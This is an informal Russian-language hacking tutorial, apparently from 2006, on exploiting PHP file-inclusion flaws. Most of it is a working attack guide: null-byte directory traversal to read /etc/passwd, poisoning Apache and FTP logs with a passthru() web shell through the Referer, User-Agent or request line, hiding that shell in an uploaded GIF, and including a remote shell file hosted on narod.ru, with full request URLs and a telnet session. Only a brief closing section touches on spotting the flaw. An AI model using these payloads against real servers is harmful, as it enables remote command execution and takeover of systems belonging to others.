Теория и практика PHP - injection

n4n0bit

 Инъекция php кода (php-injection) позволяет выполнять произвольный код на системе.
 Рассмотрим куски кода с этой уязвимостью:
 
 <?
 $page = ($_GET['page']);      
 include("./htdocs/$page.php");         (1)
 ?>
 
 <?
 $page = ($_GET['page']);      
 include("./htdocs/$page");             (2)
 ?>
 
 <?
 $page = ($_GET['page']);      
 include("./htdocs/$user/admin.php");   (3)
 ?>
 
 <?
 $page = ($_GET['page']);               (4)  
 include("$page");
 ?> 	        
 
 Дадим понятие глобальным и локальным инъекциям, итак локальной инъекцией называется та инъекция
 при которой определен путь для сценария и не могут инклудиться файлы по http/ftp протоколу 
 (фрагменты 1-3), а глобальная есть глобальная, у нее путь не определен и инклуд можна делать
 удаленно (фрагмент 4; http://[target]/inj.php?inc=http://narod.ru/cmd.txt&cmd=ls)
 
 В фрагментах 1-4 можем манипулировать переменной $page как хотим, но инжекшон в фрагментах
 1-3 локальный и имеет некоторые ограничение для нас, т.е. мы можем инклужить любые файлы 
 в определенных для нас местах,но это можно обойти используя 0-байт. 0-байт означает конец строки,
 т.е. правая часть при определенных обстоятельствах будет отброшена.
 В шеснадцатиричном виде он обозначается так %00 для передачи по http
 
 Рассмотрим эксплуатацию %00 и попробуем обойти ограничения, но учти что 0-байт сработает не всегда,
 это зависит от того,каков код сценария.
 Итак в 1-3 фрагментах у нас => ограничения  a) инклуд файла,где добавляется расширение .php в
 директории htdocs; b) инклуд любого файла в дире htdocs; c) инклуд php сценария в зависимости от
 пользователя (./htdocs/gogi/admin.php) Теперь применив 0-байт возможна получим больше прав.
 
 http://[target]/index.php?page=./../../../../../etc/passwd%00 в лучшем случаи получим содержимое.
 ./   текущий каталог
 ../  переход на уровень вверх; эта характерно для unix-like OS
 
 Рассмотрим применения локальной инъекции в более расширенном варианте,а именно самоделка шела через
 логи apache. Известно что apache ведет лог-файлы httpd-access.log & httpd-error.log и все запросы 
 естественно логируются и пишутся соотвецтвенный логи. Делаем следующее
 
  # telnet 127.0.0.1 80
  # Trying 127.0.0.1...
  # Connected to localhost.
  # Escape character is '^]'.
  # GET HTTP/1.1
  # Accept: */*
  # Accept-Language: ru.
  # Accept-Encoding: deflate.
  # User-Agent: Lynx/2.8.5rel.1 libwww-FM/2.14
  # Host: 127.0.0.1
  # Connection: Close
  # Referer: http://127.0.0.1/<?passthru($_GET['cmd']);?>
  # сдесь мы передали наш кода в поле Referer - на тот случай если фильтруются 
  # передоваемые GET-oм параметры сценарием на сервере.
  
  Также будет эффективно передавать код в поле User-Agent.
  Можно еще передать так GET <? passthru($_GET['cmd']);?> HTTP/1.1 тогда наш код
  пропишется и в httpd-access.log и в httpd-error.log
  
   httpd-error.log:
  
[error] [client 127.0.0.1] Invalid URI in request GET <? passthru($_GET['cmd']);?> HTTP/1.1
                                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^
  httpd-access.log:

127.0.0.1 - - [01/Feb/2006:13:00:40 +0200] "GET <? passthru($_GET['cmd']);?> HTTP/1.1
                                                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
 Далее будет примерно такой запрос 
 
 http://[target]/script.php?page=./../../../../../../httpd-access.log%00&cmd=uname+-a
                                                              амперсанд ^
 и все застреляет,НО ты должен сделать запрос только 1н раз,если 1й будет неудачным то
 на 2й нет смысла,так как выполняться  всегда будет тот код который стоит первым в логах!
 Т.е.	

127.0.0.1 - - [01/Feb/2006:13:00:40 +0200] "GET <?passthru($_GET['cmd']);3?> HTTP/1.1
                                      2й код не выполниться.сдесь ошибка ^
127.0.0.1 - - [01/Feb/2006:13:00:40 +0200] "GET <?passthru($_GET['cmd']);?> HTTP/1.1  
 
 С файлом ошибок httpd-error.log поступаем аналогично. Также если на серваке крутится 
 ftpd,то можно заюзать то что делали с логами для апача будет аналогично с 
 ftpd только для другого лог-файла (к примеру код передать в качестве логина). 
 
 Такие манипуляции можно выполнить и с файлами которые создают гостевухи,форумы и прочие
 скрипты сохраняющие инфу в *.txt или *.log т.д. файлах.
 
 Еще есть вариант когда наш код находиться в картинке используя тот же 0-байт.
 Рассмотрим пример когда есть форум с локальным инклудом. Берем наш web-shell-script
 делаем rename на tux.gif и закачиваем, он будет с содержимым <? passthru($_GET['cmd']);?>
 далее делаем запрос на форум http://[target]/forum.php?page=./../smiles/tux.gif%00&cmd=ls
 и получаем листинг текущей диры. Есть ситуация когда токая байда хуй пройдет,это если 
 проверяется что tux.gif является картинкой,тогда берем реальную картинку и добавляем наш
 код в ее конец при помощи какова нить дебагера,и все будет заебок!
 
 Мы закончили с локальным инклудом,перейдем к глобально-удаленному.
 А глобальный еще проще,бери и пользуйся (фрагмент 4). как показано в фрагменте 4,
 $page определена в чистом виде,без путей и прочего. Эксплуатируется следующим образом
 
 http://[target]/index.php?page=http://narod.ru/my_shell_script.txt&cmd=uname -a
 
 где my_shell_script.txt эта твой шелл на каком нить хостинге.
 и все будет чики-бамбони.
 
 Обнаружить эту ошибку в безопасности довольно проста,нужна анализировать переменные,смотреть
 код сценариев. Допустим код может быть таким где к названию файла добавляется расширение,а 
 названием этим может выступать значение переменной которая передается в GET к примеру.
 эта будет выглядеть примерно так http://site.com/images.php?profile=2 здесь цифра 2 может
 означать имя файла в каталоге к которому потом добавляется расширение .php (см.выше) и если
 мы впишем 3333 вместо 2 то это может привести к ошибке если такова файла нет,вот тебе и инклуд..
 Также обращайте на места в коде где объявлены ф-ции passthru() system() exec()
 
 PSI:
 1й нюанс - запомни то что я писал по поводу инклуда с лог-файломи.
 2й нюанс - когда сервер может резать ковычки (сиавя слеши),тогда код шела должен быть таким
 <? passthru(stripslashes($_GET["cmd"]));> 
 PSII: 
 для освоения этого вам не обязательно знать php (намнога лучше конечно им владеть,так как большой 
 код сложно анализировать без знания языка), но се-ровно должны знать какую та базу этого языка, хотя б
 держать в голове шаблоны по которым можно определить дыру + интуиция,так же смотреть адвиЗори и 
 повторять то что написано и пытаться разбирать уязвимое место кода.
 
 
 __END__
 
X